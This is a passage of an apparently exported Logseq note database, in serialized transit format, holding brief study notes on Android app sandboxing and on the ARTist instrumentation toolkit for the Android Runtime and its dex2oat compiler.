systemlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Flogseq____&quot;,868,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Vlogseq____&quot;,887,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-71d2-4d68-af1e-ec8dfc44cf66logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Violates ((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)): Permissions required cannot be predicted, thus, Broker must request all permissions to successfully mediate between target and application frameworklogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Flogseq____&quot;,880,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Vlogseq____&quot;,871,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^Hlogseq____&quot;,234,536878164]],[logseq____&quot;^15logseq____&quot;,[877,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-4af9-4411-8e65-c351457c164elogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Objectiveslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Flogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Vlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^Jlogseq____&quot;,[],536878164]],[logseq____&quot;^15logseq____&quot;,[878,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-c692-48d2-925f-5df4db61aecflogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No access to system serviceslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Flogseq____&quot;,870,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Vlogseq____&quot;,881,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[879,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-a31f-471e-a168-9d6ee760a02clogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Goes over Androids access control checkslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Flogseq____&quot;,871,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Vlogseq____&quot;,871,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[880,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-6d98-4717-b941-5ad80083b705logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Run with distinct, transient UID in special UID range with dedicated SELinux typelogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Flogseq____&quot;,885,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Vlogseq____&quot;,866,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[881,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-3cd3-44c9-afe2-a399d503e896logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Syscall Shim: Divert syscalls to brokerlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Flogseq____&quot;,873,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Vlogseq____&quot;,888,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[882,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-9074-4864-ac6b-400cb202c96blogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Full Kernel attack surfacelogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Flogseq____&quot;,877,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Vlogseq____&quot;,871,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[883,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-9812-4efa-8ff6-ce93be4dc232logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Persence of Host app detectablelogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Flogseq____&quot;,883,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Vlogseq____&quot;,871,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[884,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-a54e-4598-8d17-12603d5dbf4elogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allow service components to run isolated from rest of applicationlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Flogseq____&quot;,866,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Vlogseq____&quot;,866,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[885,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-d9d5-42d0-ac04-8849c84b1229logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Sandbox Service: Control channel for loading/terminating appslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Flogseq____&quot;,882,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Vlogseq____&quot;,888,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[886,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-d820-4e0a-acd8-3a303089d6b0logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740416276247_0.png)logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Flogseq____&quot;,872,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Vlogseq____&quot;,872,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[887,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-39e3-4629-99d2-c839efb1f254logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Targetlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Flogseq____&quot;,866,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Vlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^Jlogseq____&quot;,[],536878164]],[logseq____&quot;^15logseq____&quot;,[888,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-4b0e-4f5e-9298-9a10ab9eb819logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## ARTist (ART Instrumentation and Security Toolkit)logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Flogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Vlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^Jlogseq____&quot;,[],536878166]],[logseq____&quot;^15logseq____&quot;,[890,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-3d08-4889-8a04-3470626038d0logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;For improved performance and battery lifelogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Flogseq____&quot;,903,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Vlogseq____&quot;,905,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[891,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a925-4ffa-8541-88a681ddb6f4logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Ship compiler as app and pick apps to generate alternative oat file (run via virtualization)logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Flogseq____&quot;,901,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Vlogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[892,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-6d07-4011-96a9-52cd5f6bfa12logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Simple APIlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Flogseq____&quot;,907,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Vlogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[893,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-acd1-40e4-be7d-5e66a6d2e8ablogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Compilerlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Flogseq____&quot;,897,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Vlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^Jlogseq____&quot;,[],536878166]],[logseq____&quot;^15logseq____&quot;,[894,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-4475-4dad-82ac-8dc92ef30c14logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Optimizes Instruction Reorderinglogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Flogseq____&quot;,904,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Vlogseq____&quot;,897,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[895,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ea98-4a0b-952f-702dc0adf50dlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Instrumentation happens in Optimizing Backendlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Flogseq____&quot;,895,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Vlogseq____&quot;,897,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[896,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-4a91-450c-85ab-13bdd858070dlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Dex2oatlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Flogseq____&quot;,905,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Vlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^Jlogseq____&quot;,[],536878166]],[logseq____&quot;^15logseq____&quot;,[897,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-878e-4a15-8af5-ea9d974048a4logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Runs on stock-deviceslogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Flogseq____&quot;,908,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Vlogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[898,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-3bac-441f-b130-62604bc06b4blogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dex2oat compiler uses different compilation backends and code generators to transform dex into oat fileslogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Flogseq____&quot;,891,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Vlogseq____&quot;,905,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[899,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1e53-482e-a558-28dc55b06ea0logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can Inject whole libraries(as preprocessing step) or method invocationslogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Flogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Vlogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[900,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-821a-49c5-961a-c9ca287f9600logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Support for moduleslogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Flogseq____&quot;,893,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Vlogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[901,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-7f28-4f64-bb37-86c3e19c0462logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App signature preservationlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Flogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Vlogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[902,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c2ab-4021-b971-b14ede071e4alogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Natively run compiled codelogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Flogseq____&quot;,905,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Vlogseq____&quot;,905,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[903,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1f7a-4c80-b61a-df169397671flogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Runs during installationlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Flogseq____&quot;,897,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Vlogseq____&quot;,897,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[904,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-078c-43e2-bd85-fecd4cdc3ab0logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## ART (Android Runtime)logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Flogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Vlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^Jlogseq____&quot;,[],536878166]],[logseq____&quot;^15logseq____&quot;,[905,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-b78f-442e-b7d5-6b9d4c99a81alogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Close to no runtime overhead for instrumentationlogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Flogseq____&quot;,902,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Vlogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[906,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-5cda-4afa-a821-41e5e4d831ablogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Full access to CFG for modificationslogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Flogseq____&quot;,900,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Vlogseq____&quot;,890,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[907,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-b10c-455a-a2fe-d39d3b6b70felogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Non-intrusive / easily 